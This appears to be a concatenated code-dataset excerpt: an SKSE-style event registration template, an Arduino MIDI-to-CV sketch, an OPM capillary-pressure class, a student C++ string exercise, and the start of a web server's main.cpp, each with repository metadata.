void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(const RE::TESForm* a_form)
{
assert(a_form);
const auto reference = a_form->AsReference();
const auto formID = reference ? reference->GetFormID() : 0;
if (formID != 0) {
UnregisterAll(a_form, formID, static_cast<RE::VMTypeID>(a_form->GetFormType()));
}
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(RE::ActiveEffect* a_activeEffect)
{
assert(a_activeEffect);
const auto target = a_activeEffect->GetTargetActor();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
UnregisterAll(a_activeEffect, formID, RE::ActiveEffect::VMTYPEID);
}
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(RE::BGSRefAlias* a_alias)
{
assert(a_alias);
const auto target = a_alias->GetActorReference();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
UnregisterAll(a_alias, formID, RE::BGSRefAlias::VMTYPEID);
}
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(RE::VMHandle a_handle)
{
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
if (!policy) {
log::error("Failed to get handle policy!");
return;
}
Locker locker(_lock);
for (auto& reg : _regs) {
for (auto& keyHandle : reg.second) {
if (auto result = keyHandle.second.erase(a_handle); result != 0) {
policy->ReleaseHandle(a_handle);
}
}
}
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(RE::FormID a_uniqueID)
{
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
if (!policy) {
log::error("Failed to get handle policy!");
return;
}
Locker locker(_lock);
auto it = _regs.find(a_uniqueID);
if (it != _regs.end()) {
for (auto& keyHandles : it->second) {
for (auto& handle : keyHandles.second) {
policy->ReleaseHandle(handle);
}
}
_regs.erase(it);
}
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::Clear()
{
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
Locker locker(_lock);
if (policy) {
for (auto& reg : _regs) {
for (auto& keyHandle : reg.second) {
for (auto& handle : keyHandle.second) {
policy->ReleaseHandle(handle);
}
}
}
}
_regs.clear();
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Save(SerializationInterface* a_intfc, std::uint32_t a_type, std::uint32_t a_version)
{
assert(a_intfc);
if (!a_intfc->OpenRecord(a_type, a_version)) {
log::error("Failed to open record!");
return false;
}
return Save(a_intfc);
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Save(SerializationInterface* a_intfc)
{
assert(a_intfc);
Locker locker(_lock);
// Reg count
const std::size_t numRegs = _regs.size();
if (!a_intfc->WriteRecordData(numRegs)) {
log::error("Failed to save reg count ({})!", numRegs);
return false;
}
for (auto& reg : _regs) {
//FormID
if (!a_intfc->WriteRecordData(reg.first)) {
log::error("Failed to save handle formID ({:X})", reg.first);
return false;
}
std::size_t numUniqueHandle = reg.second.size();
if (!a_intfc->WriteRecordData(numUniqueHandle)) {
log::error("Failed to save handle count ({})!", numUniqueHandle);
return false;
}
// UniqueHandle
for (auto& [key, handles] : reg.second) {
// EventFilter
auto [eventFilter, match] = key;
if (!eventFilter.Save(a_intfc)) {
log::error("Failed to save event filters!");
return false;
}
if (!a_intfc->WriteRecordData(match)) {
log::error("Failed to save reg key as bool ({})!", match);
return false;
}
//handle set
std::size_t numHandles = handles.size();
if (!a_intfc->WriteRecordData(numHandles)) {
log::error("Failed to save handle count ({})!", numHandles);
return false;
}
for (auto& handle : handles) {
if (!a_intfc->WriteRecordData(handle)) {
log::error("Failed to save handle ({})", handle);
return false;
}
}
}
}
return true;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Load(SerializationInterface* a_intfc)
{
assert(a_intfc);
std::size_t numRegs;
a_intfc->ReadRecordData(numRegs);
Locker locker(_lock);
_regs.clear();
//FormID
RE::FormID formID;
// KeyHandle
std::size_t numKeyHandle;
// Handle
std::size_t numHandles;
RE::VMHandle vmHandle;
for (std::size_t i = 0; i < numRegs; ++i) {
a_intfc->ReadRecordData(formID);
if (!a_intfc->ResolveFormID(formID, formID)) {
log::warn("Failed to resolve target formID ({:X})", formID);
continue;
}
a_intfc->ReadRecordData(numKeyHandle);
for (std::size_t j = 0; j < numKeyHandle; ++j) {
// filter
Filter eventFilter{};
if (!eventFilter.Load(a_intfc)) {
log::error("Failed to save event filters!");
continue;
}
bool match;
a_intfc->ReadRecordData(match);
EventFilter curKey = { eventFilter, match };
// handles
a_intfc->ReadRecordData(numHandles);
for (std::size_t k = 0; k < numHandles; ++k) {
a_intfc->ReadRecordData(vmHandle);
if (a_intfc->ResolveHandle(vmHandle, vmHandle)) {
_regs[formID][curKey].insert(vmHandle);
}
}
}
}
return true;
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::Revert(SerializationInterface*)
{
Clear();
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Register(const void* a_object, RE::FormID a_formID, EventFilter a_filter, RE::VMTypeID a_typeID)
{
assert(a_object);
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
if (!policy) {
log::error("Failed to get handle policy!");
return false;
}
const auto invalidHandle = policy->EmptyHandle();
auto handle = policy->GetHandleForObject(a_typeID, a_object);
if (handle == invalidHandle) {
log::error("Failed to create handle!");
return false;
}
_lock.lock();
auto result = _regs[a_formID][a_filter].insert(handle);
_lock.unlock();
if (result.second) {
policy->PersistHandle(handle);
}
return result.second;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Unregister(const void* a_object, RE::FormID a_formID, EventFilter a_filter, RE::VMTypeID a_typeID)
{
assert(a_object);
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
if (!policy) {
log::error("Failed to get handle policy!");
return false;
}
const auto invalidHandle = policy->EmptyHandle();
const auto handle = policy->GetHandleForObject(a_typeID, a_object);
if (handle == invalidHandle) {
log::error("Failed to create handle!");
return false;
}
Locker locker(_lock);
if (auto formIt = _regs.find(a_formID); formIt != _regs.end()) {
if (auto keyIt = formIt->second.find(a_filter); keyIt != formIt->second.end()) {
if (auto result = keyIt->second.erase(handle); result != 0) {
policy->ReleaseHandle(handle);
return true;
}
}
}
return false;
}
template <class Filter>
void EventFilterUnique<Filter>::RegistrationMapUniqueBase::UnregisterAll(const void* a_object, RE::FormID a_formID, RE::VMTypeID a_typeID)
{
assert(a_object);
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr;
if (!policy) {
log::error("Failed to get handle policy!");
return;
}
const auto invalidHandle = policy->EmptyHandle();
const auto handle = policy->GetHandleForObject(a_typeID, a_object);
if (handle == invalidHandle) {
log::error("Failed to create handle!");
return;
}
Locker locker(_lock);
if (auto it = _regs.find(a_formID); it != _regs.end()) {
for (auto& keyHandles : it->second) {
if (auto result = keyHandles.second.erase(handle); result != 0) {
policy->ReleaseHandle(handle);
}
}
}
}
}
template <class Filter, class... Args>
using RegistrationMapUnique = typename Impl::EventFilterUnique<Filter>::template RegistrationMapUnique<void, Args...>;
}
|
9d787fa4d884acc38762eb87886a367b924a456c | 2b54c9e8e3704e41725aa19b42d97fb4bd7ff194 | /MIDI4CV.ino | 0de619dc8d37c03fffb5564fe99f30cb4ac6f3ee | [] | no_license | drkzrg/MIDI4CV-Module | dc1d1e887a757d84ce50af665accfec13eb56c19 | 689670da78a185fa66cae821fd7f51fc99b28c16 | refs/heads/main | 2023-09-04T18:08:24.187539 | 2021-11-20T11:15:42 | 2021-11-20T11:15:42 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,732 | ino | MIDI4CV.ino | /*
* MIDI4CV - arduino MIDI-to-4xCV for VCO pitch control
*
* It used Francois Best's MIDI library and Benoit Shillings's MCP4728 library
* https://github.com/FortySevenEffects/arduino_midi_library
* https://github.com/BenoitSchillings/mcp4728
*
* Translates MIDI note-on/off messages in up to 4 pitch control voltages.
* Main hardware consists of an arduino nano and a quad,I2C 12-bit DAC (MCP4728).
* A 2 poles DIP-switch connected to pin D8 and D7 determines the actual number of voices (1-4).
* There's a single gate output for paraphonic envelopes triggering.
* A latching switch grounding pin D4 sets CV outputs at unison.
* Voice stealing, poly mode: TO BE CODED. Actually an additional note is not played.
* Note priority, unison mode: TO BE CODED. Actually is set to "latest".
*
* by Barito, sept 2021
*/
#include <MIDI.h>
#include <Wire.h>
#include "mcp4728.h"
mcp4728 dac = mcp4728(0); // initiate mcp4728 object, Device ID = 0
#define MAXOUTS 4
#define MAX_EXT_V 61
#define MAX_INT_V 50
#define MIDI_CHANNEL 1
#define MIDIOFFSET 24
//pNote goes to zero when the slot is empty
struct voiceSlot {const byte gatePin; byte pNote; boolean busy;}
voiceSlot[MAXOUTS] = {
{5, 0, 0}, //PWM
{6, 0, 0}, //PWM
{9, 0, 0}, //PWM
{10, 0, 0} //PWM
};
const byte sw0Pin = 8;
const byte sw1Pin = 7;
const byte unisonPin = 4;
boolean unisonState;
byte actVoices;
int pitchbend;
const byte LDACpin = 12;
byte noteShift = 24;
int noteOverflow;
MIDI_CREATE_DEFAULT_INSTANCE();
// DAC's V/oct tabulated values (5V external Vref)
// 5V -> 5 octaves -> 5*12 notes -> 60+1 values
const int cvExtRef[MAX_EXT_V] = {
0, 68, 137, 205, 273, 341, 410, 478, 546, 614, 683, 751,
819, 887, 956, 1024, 1092, 1160, 1229, 1297, 1365, 1433, 1502, 1570,
1638, 1706, 1775, 1843, 1911, 1979, 2048, 2116, 2184, 2252, 2321, 2389,
2457, 2525, 2594, 2662, 2730, 2798, 2867, 2935, 3003, 3071, 3140, 3208,
3276, 3344, 3413, 3481, 3549, 3617, 3686, 3754, 3822, 3890, 3959, 4027, 4095
};
// DAC's V/oct tabulated values (2048 mV internal Vref)
const int cvIntRef[MAX_INT_V] = {
0, 83, 167, 250, 333, 417, 500, 583, 667, 750, 833, 917,
1000, 1083, 1167, 1250, 1333, 1417, 1500, 1583, 1667, 1750, 1833, 1917,
2000, 2083, 2167, 2250, 2333, 2417, 2500, 2583, 2667, 2750, 2833, 2917,
3000, 3083, 3167, 3250, 3333, 3417, 3500, 3583, 3667, 3750, 3833, 3917,
4000, 4083
}; //4095 MAX
void setup(){
//GATES initialization
for (int g = 0; g < MAXOUTS; g++){
pinMode(voiceSlot[g].gatePin, OUTPUT);
digitalWrite(voiceSlot[g].gatePin, LOW);
}
//switch initialization and gate outputs number setting
pinMode(sw0Pin, INPUT_PULLUP);
pinMode(sw1Pin, INPUT_PULLUP);
if(digitalRead(sw0Pin) == HIGH && digitalRead(sw1Pin) == HIGH) {actVoices = 4;}
else if(digitalRead(sw0Pin) == HIGH && digitalRead(sw1Pin) == LOW) {actVoices = 3;}
else if(digitalRead(sw0Pin) == LOW && digitalRead(sw1Pin) == HIGH) {actVoices = 2;}
else {actVoices = 1;}
//unison switch
pinMode(unisonPin, INPUT_PULLUP);
unisonState = digitalRead(unisonPin);
//MIDI initialization
MIDI.setHandleNoteOn(HandleNoteOn);
MIDI.setHandleNoteOff(HandleNoteOff);
MIDI.setHandlePitchBend(HandlePitchBend);
MIDI.begin(MIDI_CHANNEL);
//DAC initialization
pinMode(LDACpin, OUTPUT);
digitalWrite(LDACpin, LOW);
dac.begin(); // initialize i2c interface
//dac.vdd(5000); // set VDD(mV) of MCP4728 for correct conversion between LSB and Vout
dac.setPowerDown(0, 0, 0, 0); // set Power-Down ( 0 = Normal , 1-3 = shut down most channel circuit, no voltage out) (1 = 1K ohms to GND, 2 = 100K ohms to GND, 3 = 500K ohms to GND)
dac.setVref(1,1,1,1); // set to use internal voltage reference (2.048V)
dac.setGain(1, 1, 1, 1); // set the gain of internal voltage reference ( 0 = gain x1, 1 = gain x2 )
//dac.setVref(0, 0, 0, 0); // set to use external voltage reference (Vdd)
dac.analogWrite(0, 0, 0, 0);
}
void HandleNoteOn(byte channel, byte note, byte velocity) {
note = note-MIDIOFFSET;
if(note < MAX_INT_V){
if(unisonState == HIGH){ //UNISON DISABLED
if (digitalRead(voiceSlot[0].gatePin) == LOW){ //waiting first note ...
digitalWrite(voiceSlot[0].gatePin, HIGH); //GATE 1
voiceSlot[0].busy = true;
for (int a = 0; a < actVoices; a++){ //all notes allocated, but not busy
voiceSlot[a].pNote = note;
dac.analogWrite(a, cvIntRef[note]);
}
}
else { //gate is open, some note is playing ...
for (int b = 0; b < actVoices; b++){
if (voiceSlot[b].busy == false){//if the slot is not busy ...
voiceSlot[b].busy = true;
voiceSlot[b].pNote = note;
dac.analogWrite(b, cvIntRef[note]);
break;
}
}
}
}
else {//UNISON ENABLED
dac.analogWrite(cvIntRef[note], cvIntRef[note], cvIntRef[note], cvIntRef[note]);
for (int i = 0; i < actVoices; i++){
voiceSlot[i].pNote = note;
}
digitalWrite(voiceSlot[0].gatePin, HIGH); //GATE 1
}
}
}
void HandleNoteOff(byte channel, byte note, byte velocity) {
note = note-MIDIOFFSET;
if(note < MAX_INT_V){
if(unisonState == HIGH){ //UNISON DISABLED
for (int a = 0; a < actVoices; a++){
if (note == voiceSlot[a].pNote){ //if the note is one of those playing ...
voiceSlot[a].busy = false; //slot is now free for new alloction
for (int b = 0; b < actVoices; b++){ //search for a note still in use and fatten it
if (voiceSlot[b].busy == true){ //if there's a note playing
voiceSlot[a].pNote = voiceSlot[b].pNote; //keep track of pithes
dac.analogWrite(a, cvIntRef[voiceSlot[a].pNote]); //update pitch
break;
}
}
}
}
if(voiceSlot[0].busy == false && voiceSlot[1].busy == false && voiceSlot[2].busy == false && voiceSlot[3].busy == false){ //all slot are empty -> no key press
digitalWrite(voiceSlot[0].gatePin, LOW);
}
}
else { //UNISON ENABLED
if (note == voiceSlot[0].pNote){
for (int c = 0; c < actVoices; c++){
voiceSlot[c].busy = false; //all slots are now empty
}
digitalWrite(voiceSlot[0].gatePin, LOW);
}
}
}
}
void HandlePitchBend(byte channel, int bend){
pitchbend = bend>>4;
for (int p=0; p<actVoices; p++){
noteOverflow = cvIntRef[voiceSlot[p].pNote] + pitchbend;
if (noteOverflow <= 4095){
dac.analogWrite(p, noteOverflow);
}
}
}
void loop(){
MIDI.read();
SwitchRead();
}
void SwitchRead(){
if(digitalRead(unisonPin) != unisonState){
unisonState = !unisonState;
}
}
|
2649053529cb71be47fbf11f410be27a0fb93bdf | 1856dc6a0fb9f4c79d4fedfebbcd1a9cf713a85d | /opm/porsol/twophase2/OPMIRISCode/SFCapPress.cpp | 9abc585249f705b0e61ec7ddff3868cf2109744c | [] | no_license | totto82/opm-porsol | 27c92486d61293ee09fc80b86c3edcb5763b6cf3 | 75ee48781fabf138ad34d6dab14f4a77efb86f55 | refs/heads/master | 2021-01-17T10:18:34.852479 | 2013-02-05T15:24:50 | 2013-02-05T15:24:50 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,613 | cpp | SFCapPress.cpp | /*
Copyright 2011 IRIS - International Research Institute of Stavanger.
This file is part of the Open Porous Media project (OPM).
OPM is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OPM is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with OPM. If not, see <http://www.gnu.org/licenses/>.
*/
//---------------------- Include Files ----------------------------------------
#include "SFCapPress.h"
#include <iostream>
#include <iomanip>
//---------------------- Directives -------------------------------------------
using namespace std; // This leads to that all names in the namespace std may be
// used without the qualifier "std::".
SFCapPress::SFCapPress() : m_variant(0), m_RowLength(0)
{
}
void SFCapPress::readCapPressDataInFormulaFormat(istream& inputStream, const int& numbRockTypes)
{
//****************************************************************************************
//This function reads the rel. perm. table for the case that the cap. press is represented
//in formula format. The values are simply stored in the 1D Dune::array values.
//****************************************************************************************
m_variant = 0;
m_RowLength = 14;
m_constants = new double[numbRockTypes*m_RowLength];
for (int j=0; j < numbRockTypes; j++)
{
int start=j*m_RowLength;
int i=start;
// while (i < start+m_RowLength && inputStream >> m_constants[i]) i++;
while (i < start+m_RowLength)
{
inputStream >> m_constants[i];
i++;
}
}
}
double SFCapPress::getCapPressData(const int& capPressType, const double& sw, const int& rockType) const
{
/*
sw is the water saturation.
capPressType=0 : oil-water capillary pressure
capPressType=1 : oil-gas capillary pressure
*/
//*************************************************************************************
//This routine is basically implemented for two-phase flow, but can easily be extended
//to three-phase flow.
//*************************************************************************************
double capp;
if (m_variant == 0)
{
int start=rockType*m_RowLength;
int step = (capPressType == 0) ? 0 : 6;
double CL = m_constants[step+capPressType+start];
// double CNOL = m_constants[step+capPressType+1+start];
//double CR = m_constants[step+capPressType+2+start];
//double EL = m_constants[step+capPressType+3+start];
//double ER = m_constants[step+capPressType+4+start];
//double SL = m_constants[step+capPressType+5+start];
//double SR = m_constants[step+capPressType+6+start];
//NB: Note that SL and SR are left and right asymptotes of the PC-curve, respectively.
double TOL = 0.000001;
//double S = sw;
//double A = S - SL - TOL;
//double B = SR - S - TOL;
//if (A < TOL) A = TOL;
//if (B < TOL) B = TOL;
//capp = CL*pow(A,-EL) - CR*pow(B,-ER) + CNOL;
//Note here we use a LOGARITHMIC cap. press profile, in order to investigate the effects of the
//diffusion in the displacement example !!!
//**********************************************************************
if (sw < TOL)//@HAF: IMPORTANT!!!
{
capp = -CL*log(TOL);//NB: JUST A TEST !!!
}
else
{
capp = -CL*log(sw);//NB: JUST A TEST !!!
}
// capp = -1000.0*CNOL*S;//NB: JUST A TEST !!!
// cout << "capp= " << capp << " CL= " << CL << " rockType= " << rockType << " index= " << step+capPressType+start << endl;
//cout << "step= " << step << " start= " << start << " m_RowLength= " << m_RowLength << endl;
}
return capp;
}
double SFCapPress::getCapPressDataPartial(const int& capPressType, const double& sw, const int& rockType) const
{
/*
sw is the water saturation.
capPressType=0 : oil-water capillary pressure
capPressType=1 : oil-gas capillary pressure
*/
//*************************************************************************************
//This routine is basically implemented for two-phase flow, but can easily be extended
//to three-phase flow.
//*************************************************************************************
double capp, CL;
if (m_variant == 0)
{
int start=rockType*m_RowLength;
int step = (capPressType == 0) ? 0 : 6;
CL = m_constants[step+capPressType+start];
//double CNOL = m_constants[step+capPressType+1+start];
//double CR = m_constants[step+capPressType+2+start];
//double EL = m_constants[step+capPressType+3+start];
//double ER = m_constants[step+capPressType+4+start];
//double SL = m_constants[step+capPressType+5+start];
//double SR = m_constants[step+capPressType+6+start];
//NB: Note that SL and SR are left and right asymptotes of the PC-curve, respectively.
double TOL = 0.000001;
//double S = sw;
//double A = S - SL - TOL;
//double B = SR - S - TOL;
//if (A < TOL) A = TOL;
//if (B < TOL) B = TOL;
// capp = -CL*EL*pow(A,-EL-1.0) - CR*ER*pow(B,-ER-1.0) + CNOL;
capp = -(CL/(sw+TOL));
// capp = -1.0; //TESTING with constant diffusion!!!
}
//#ifdef DisplacementProblem
//Note here we use a LINEAR cap. press profile, just to investigate the effects of the
//diffusion in the displacement example !!!
// capp = -1.0;
//capp = -10.0;
//capp = 0.0;
//Note here we use a LOGARITHMIC cap. press profile, in order to investigate the effects of the
//diffusion in the displacement example !!!
//********************************************************************************
//NB: Dette maa endres naar vi legger inn heterogenitet !!!!!!!!!!
//********************************************************************************
//double TOL = 0.000001;
// double constant = 2.0;
//capp = -(constant/sw);//Note: Useless when used in saturation experiments with sw=0 in parts of the domain.
// capp = -(constant/(sw+TOL));
//#endif //DisplacementProblem
//***********************************************************
//@HAF:
//Special coding for so called "semi-analytical PC-test"(van Duijn & de Neef)
cout << "Program is stopped. Do we actually need this function, i.e. the function 'getCapPressDataPartial' here ??? If so: we must understand why!!!!!" << endl;
exit(0);
//***********************************************************
return capp;
}
double SFCapPress::getCapPressDataPartial2(const int& capPressType, const double& sw, const int& rockType) const
{
/*
sw is the water saturation.
capPressType=0 : oil-water capillary pressure
capPressType=1 : oil-gas capillary pressure
*/
//*************************************************************************************
//This routine is basically implemented for two-phase flow, but can easily be extended
//to three-phase flow.
//*************************************************************************************
double capp, CL;
//cout << "rockType= " << rockType << " m_RowLength= " << m_RowLength << endl;
if (m_variant == 0)
{
int start=rockType*m_RowLength;
int step = (capPressType == 0) ? 0 : 6;
CL = m_constants[step+capPressType+start];
//double CNOL = m_constants[step+capPressType+1+start];
//double CR = m_constants[step+capPressType+2+start];
//double EL = m_constants[step+capPressType+3+start];
//double ER = m_constants[step+capPressType+4+start];
//double SL = m_constants[step+capPressType+5+start];
//double SR = m_constants[step+capPressType+6+start];
//NB: Note that SL and SR are left and right asymptotes of the PC-curve, respectively.
double TOL = 0.000001;
//double S = sw;
//double A = S - SL - TOL;
//double B = SR - S - TOL;
//if (A < TOL) A = TOL;
//if (B < TOL) B = TOL;
// capp = -CL*EL*pow(A,-EL-1.0) - CR*ER*pow(B,-ER-1.0) + CNOL;
capp = CL/((sw+TOL)*(sw+TOL));
// capp = -1.0; //TESTING with constant diffusion!!!
}
//#ifdef DisplacementProblem
//Note here we use a LINEAR cap. press profile, just to investigate the effects of the
//diffusion in the displacement example !!!
// capp = -1.0;
//capp = -10.0;
//capp = 0.0;
//Note here we use a LOGARITHMIC cap. press profile, in order to investigate the effects of the
//diffusion in the displacement example !!!
//********************************************************************************
//NB: Dette maa endres naar vi legger inn heterogenitet !!!!!!!!!!
//********************************************************************************
//double TOL = 0.000001;
// double constant = 2.0;
//capp = -(constant/sw);//Note: Useless when used in saturation experiments with sw=0 in parts of the domain.
// capp = -(constant/(sw+TOL));
//#endif //DisplacementProblem
return capp;
}
double SFCapPress::getInverseCapPressData(const int& capPressType, const double& pcv, const int& rockType) const
{
/*
sw is the water saturation.
capPressType=0 : oil-water capillary pressure
capPressType=1 : oil-gas capillary pressure
*/
//*************************************************************************************
//This routine is basically implemented for two-phase flow, but can easily be extended
//to three-phase flow.
//*************************************************************************************
double invCapp = 0.0;
if (m_variant == 0)
{
int start=rockType*m_RowLength;
int step = (capPressType == 0) ? 0 : 6;
double CL = m_constants[step+capPressType+start];
double TOL = 0.000001;
//Note here we use a LOGARITHMIC cap. press profile, in order to investigate the effects of the
//diffusion in the displacement example !!!
//**********************************************************************
if (fabs(CL) > (0.01*TOL)) invCapp = exp(-pcv/CL)-TOL;//NB: JUST A TEST !!!
}
return invCapp;
}
double SFCapPress::getOutletSaturation(const int& capPressType, const int& rockTypeEnd) const
{
//*************************************************************************************
//This routine is basically implemented for two-phase flow
//(and thus returns the water saturation)
//,but may be extended to three-phase flow.
//*************************************************************************************
//We here solve the following nonlinear equation P_C(s_w) = 0.0.,
// which is valid at the outlet.
double TOL = 0.000001;//Can be discussed...
double sw = -1.0;
double DS = -1.0;
//Must construct an initial guess (difficult part):
sw = ml_constructInitialGuessForOutletSaturation(capPressType,rockTypeEnd);
bool converged = false;
int i = 0;
int maxIter = 100;//Can be discussed!!!
//The Newton iterations:
while ((!converged) && (i < maxIter))
{
DS = -getCapPressData(capPressType, sw, rockTypeEnd)/getCapPressDataPartial(capPressType, sw, rockTypeEnd);
sw += DS;
if (fabs(getCapPressData(capPressType, sw, rockTypeEnd)) < TOL) converged= true;
i++;
}
return sw;
}
SFCapPress::~SFCapPress()
{
}
//-----------------------------------------------------------------
//-----------------Private---functions-----------------------------
//-----------------------------------------------------------------
double SFCapPress::ml_constructInitialGuessForOutletSaturation(const int& capPressType, const int& rockTypeEnd) const
{
//We here construct a hopefully good initial guess for the
//nonlinear equation P_C(s_w) = 0.0.,
// which is valid at the outlet.
//The algorithm is based on bisection:
bool OK = false;
//We must obviously have that 0.0 <= sw <= 1.0.
double TOL = 0.000001;
double sw_l = TOL;
double sw_u = 1.0;
double sw_m = 0.5*(sw_u + sw_l);
double TOLS = 0.01;//Tolerance for initial guess. Can be discussed???
//We check the start point:
double f_sw_l = getCapPressData(capPressType, sw_l, rockTypeEnd);
double f_sw_u = getCapPressData(capPressType, sw_u, rockTypeEnd);
double f_sw_m;
// cout << "f_sw_l= " << f_sw_l << endl;
//cout << "f_sw_u= " << f_sw_u << endl;
//exit(0);
//Make a check of the starting point:
if (f_sw_l*f_sw_u > 0.0)
{
cout << "Something is wrong with the initial interval!!!" << endl;
exit(0);
}
if ((fabs(f_sw_l)) < TOLS)
{
OK = true;
sw_m = sw_l;
}
if (!OK)
{
if ((fabs(f_sw_u)) < TOLS)
{
OK = true;
sw_m = sw_u;
}
}
if (!OK)
{
f_sw_m = getCapPressData(capPressType, sw_m, rockTypeEnd);
if ((fabs(f_sw_m)) < TOLS) OK = true;
}
//Now comes the iterative part of the algo.:
int i = 0;
int maxIter = 100;//Can be discussed!!!
while ((!OK) && (i < maxIter))
{
if (f_sw_l*f_sw_m < 0.0)
{
sw_u = sw_m;
}
else
{
sw_l = sw_m;
}
f_sw_l = getCapPressData(capPressType, sw_l, rockTypeEnd);
f_sw_u = getCapPressData(capPressType, sw_u, rockTypeEnd);
sw_m = 0.5*(sw_l + sw_u);
f_sw_m = getCapPressData(capPressType, sw_m, rockTypeEnd);
if ((fabs(f_sw_m)) < TOLS) OK = true;
i++;
}
return sw_m;
}
|
8cd63377999aa216a329ffd3169097e097a2885b | 5b226427f40c35b8bf6eb6d5c9bc51ed751fe657 | /manipStr.cpp | e8ab86916bad5eac09450f800052f1de2e984f5d | [] | no_license | swiddiws/Assig0 | d018be90c118b78f5b33ea2662f05e4e07445b82 | 71d1f51ae768ef0feae15f6dad95b41edc5153e8 | refs/heads/master | 2022-03-30T09:43:29.951945 | 2020-01-30T06:29:58 | 2020-01-30T06:29:58 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,302 | cpp | manipStr.cpp | /*
* Class: CS 3305 Section 05
* Term: Spring 2020
* Name: Justin Swiderski
* Instructor: Pablo Ordonez
* Assignment: One
*/
#include <stdio.h>
#include <iostream>
#include <string>
#include <sstream>
#include <bits/stdc++.h>
bool palindrome(const std::string& theStr);
void wordPlay(std::string, int& x);
void letterMatch(std::string str[], int n);
const int MAX_CHAR = 26;
int main()
{
//std::string str[];
std::string str1;
std::string str2;
std::string str3;
std::string str4;
std::string userStr;
std::string newStr;
// loop to retrieve and play with two strings
for(int c=0; c<2; c++){
std::cout << "Please enter word " << c+1 << " of 2: ";
getline (std::cin, userStr);
if(c<1){
str1 = userStr;
wordPlay(str1, c);
}else{
wordPlay(userStr, c);
break;
}
}
// campare member function from string class
if(userStr.compare(str1) !=0){
std::cout << "The words " << str1 << " and " << userStr << " do not match.\n";
}else{
std::cout << "The words " << str1 << " and " << userStr << " are the same.\n";
}
std::cout << "\nPlease enter four words and we'll find the letters that appear in all strings.\n";
// loop to retrieve the four strings
for(int c=0; c<4; c++){
std::cout << "Please enter word " << c+1 << " of 4: ";
getline (std::cin, userStr);
if(c<1){
str1 = userStr;
} if(c<2){
str2 = userStr;
} if(c<3){
str3 = userStr;
}else{
str4 = userStr;
}
}
//std::cout << str1 << str2 << str3 << str4 << std::endl;
std::string str[] = {str1, str2, str3, str4};
int n = sizeof(str)/sizeof(str[0]);
letterMatch(str, n);
return EXIT_SUCCESS;
}
// function to test for palindrome - just returns true or false
bool palindrome(const std::string& theStr){
if(theStr.empty()){
return false;
}
int i = 0;
int j = theStr.length()-1;
while(i<j){
if(theStr[i] != theStr[j]){
return false;
}
i++;j--;
}
return true;
}
// function Objectives 1-6
void wordPlay(std::string s, int& x){
int n = x+1;
std::cout << "Word " << n << " is: " << s << "\n";
std::cout << "Your word reversed is: ";
// cool public member function I found on cplusplus "reverse_iterator"
for(std::string::reverse_iterator rit=s.rbegin(); rit!=s.rend(); ++rit){
std::cout << *rit;
}
if(palindrome(s)){
std::cout << "\nThis word is a palindrome.\n";
}else{
std::cout << "\nThis word is not a palindrome.\n";
}
std::cout << "The word is " << s.length() << " characters long.\n";
int k = s.length();
// another cool member function I found on cplusplus "substr"
std::cout << "The first half of the word is " << s.substr(0,k/2) << std::endl;
std::cout << "The first letter is " << s.at(0) << ".\n" << std::endl;
}
// function to compare letters from each string passed through
void letterMatch(std::string str[], int n){
// fill block of memory
bool prim[MAX_CHAR];
memset(prim, true, sizeof(prim));
for(int i=0; i<n; i++){
bool sec[MAX_CHAR] = {false};
for(int j=0; str[i][j]; j++){
// if character is a match then mark it
if(prim[str[i][j] - 'a']){
sec[str[i][j] - 'a'] = true;
}
}
memcpy(prim, sec, MAX_CHAR); //second array copied over to primary
}
// common char's printed
for(int i=0; i<26; i++){
if(prim[i]){
printf("%c ", i + 'a');
std::cout << std::endl;
}
}
}
|
fed09614689da3c958723542584ca65641d86118 | 0fbf280f97f4e49eed94ab44a652c9b864d2f93c | /0.9.5/Source/main.cpp | c9e4efe8bcb51d0aea796352e730cfd42281650c | [] | no_license | PaulStovell/stovell-web-server | bd3ccdb68067c6e961e41bdcecc7f79188b39e7c | be9e2867f72d316e71a4f88d5f3a7f5e4e3a3702 | refs/heads/master | 2020-05-21T13:09:30.048393 | 2009-02-13T06:26:18 | 2009-02-13T06:26:18 | 128,103 | 1 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 18,059 | cpp | main.cpp | //---------------------------------------------------------------------------------------------
// Includes
//---------------------------------------------------------------------------------------------
#include <windows.h>
#include <winsock.h>
#include <string>
#include <iostream>
